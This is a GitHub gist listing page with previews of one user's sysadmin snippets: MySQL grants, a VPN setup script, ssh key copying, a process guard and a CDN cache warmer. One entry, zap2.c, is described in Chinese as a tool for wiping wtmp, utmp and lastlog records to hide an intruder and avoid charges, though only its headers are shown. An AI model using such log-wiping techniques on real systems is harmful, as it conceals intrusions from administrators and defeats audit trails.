Skip to content

Instantly share code, notes, and snippets.

@harmy
harmy / gist:3652993
Created September 6, 2012 08:23
mysql创建用户总结

用root账户登录mysql,敲入并执行下列指令可以创建一个新的数据库并赋予myuser用户从任何主机任意操作该数据库

create database mydb;

CREATE USER 'myuser'@'localhost' IDENTIFIED BY 'mypassword';
CREATE USER 'myuser'@'%' IDENTIFIED BY 'mypassword';

GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'localhost';
GRANT ALL PRIVILEGES ON mydb.* TO 'myuser'@'%';
@harmy
harmy / vpn-setup.sh
Created October 15, 2012 07:19
Ubuntu VPN for poor Chinese (on AWS EC2)
#!/bin/bash -x
## original author: Oliver Nassar <[email protected]>
## credit: harmy <[email protected]>
## Ubuntu VPN for poor Chinese (you know de)
## Sample Usage:
##
## wget https://gist.github.com/raw/3891178/ff1702fac175eb21c513b93f51f39948be693aba/vpn-setup.sh
## chmod +x vpn-setup.sh
## sudo ./vpn-setup.sh <username> <password>
@harmy
harmy / gist:4256774
Last active October 13, 2015 21:08
转换tga文件为dds
texconv -m 1 -if NONE -f dxt1 test.tga
说明:miplevels设为1,否则转出来的文件会保存多级纹理,浪费了空间。
@harmy
harmy / beep.py
Last active December 10, 2015 11:38
play a notification sound.
import zlib
import base64
import winsound
COMPLETE_SOUND_DATA = """eJzt2ltXG1l2AGDPWx6Tf5CV/5C3rEzPTHdnsDEYbGzAICEhkITuJZXqXnXqXlLpLiQkdMHYYGPLxnimJ515SFZ+Wvap0hWD7c5Mt7MmOr1a/tgunXP2rtLRKcqrC99//887d+48+c3j7/ZjmX/8+zt37vwK/vunx3ec/3915+/uBHwZ3z/AMcLP1Tg6i+rVxMq2/f6CWXsqHGo+f+VDc+u3/qPn1LLv+L9eRb5ZEF619jf1D2fRX99T3hztbVk/XCT+5deZV2dUQH19mvjmO+6iT0X003bot2vFd41ExL5o7Px68/CqHdsWz9v+b7Zafz6LrRL9I/+33s5/D4ilQKm0dz908p/PQw/iFXNnlRz8ubKxTNZ07yPu8o/Kg2X6uORfFd5/4H//HXnWjW6Il+/o3/5r/PkZ5RHfviZ/99vMy3Nhlzp9RX/7LfP+B+3JTuVcWvw3+v2P1uOn9jN2cVH+04/6wzX9mbT8QP/xT/Lymt7lVtYrfx4Q3z/Kn6lr68X/eJf+bll/VfJs5H54Ff9m2Xjb3lsTLy9Sv1vSL4+DG+rbXuA3G/U/NLxr8uAk9Ju18g/98EP6rBv8ztv64dC7plw0vN+FTv+Q39wunivL98WrAdSsMdBXFvnLS255q3wuPXho/fAyseBtvFYfLCsfBuSip/JCXN2q/tALLIR7Z9nFrcaPXf/CQfcZcX+//++Hm9/Hn50S9wO9H4+2frffu+BW/a0/1te/i56+pFf3Oh8KD79NnF2wD3fbV/nV79MXb/lVX+Nd/tH3xMVbYXWnMbBWF6jBe3F5vfCusvF9/OUHY/WhPmh6fx89+2CuLiuDtn8h8uIP1uqS8LoXXIycftBXltGgF1qMvbhESw+0d529xeiL9/LSkvzu9GAx1H+nLC8rl6eRe8H+e311SXz3PHpvr3Opr94XL89i93bbl9bDJfHtWWJhp3WV
#!/bin/sh
usage () {
echo "Usage: $0 [-i [identity_file]] [user@]machine"
exit 1
}
# Parse options
while getopts ":i:" o
do case "$o" in
@harmy
harmy / sshcopyid
Created February 1, 2013 05:38
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
@harmy
harmy / guard.py
Created February 18, 2013 03:51
Auto restart Service any time it crashes.
#!/usr/bin/python
#coding=gbk
################################################################################
# guard.py
#
# Auto restart Service any time it crashes.
# If the Servers is manually shut down, this script will terminate.
#
# usage:./guard.py scene
################################################################################
@harmy
harmy / gist:5175275
Created March 16, 2013 06:37
devops Q&A
Q:Grub2 wont start after power failure
A:This was actually new for me - but it seems that this behaviour is caused by the last lines in /etc/grub.d/00_header
if [ \${recordfail} = 1 ]; then
set timeout=-1
else
set timeout=${GRUB_TIMEOUT}
fi
I suggest that you create a /etc/grub.d/01_recordfail_override, set the +x permission, and make it look like this:
@harmy
harmy / zap2.c
Created April 12, 2013 03:24
目录: Zap2 程序 其它脚本程序 隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情,比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统! 尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。 -------------------------------------------------------------------------------- Zap2 (清除 wtmp/lastlog/utmp记录) 网络上有很多不同的日志…
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
@harmy
harmy / touchqiniu
Created July 2, 2013 16:52
使用七牛的镜像存储为网站加速,用这个脚本去把所有的资源请求一遍,效果立竿见影。
#coding=gbk
import sys
import zipfile as zf
from urlparse import urlparse
from threading import Thread
import httplib, sys
from Queue import Queue
concurrent = 200
q=Queue(concurrent*2)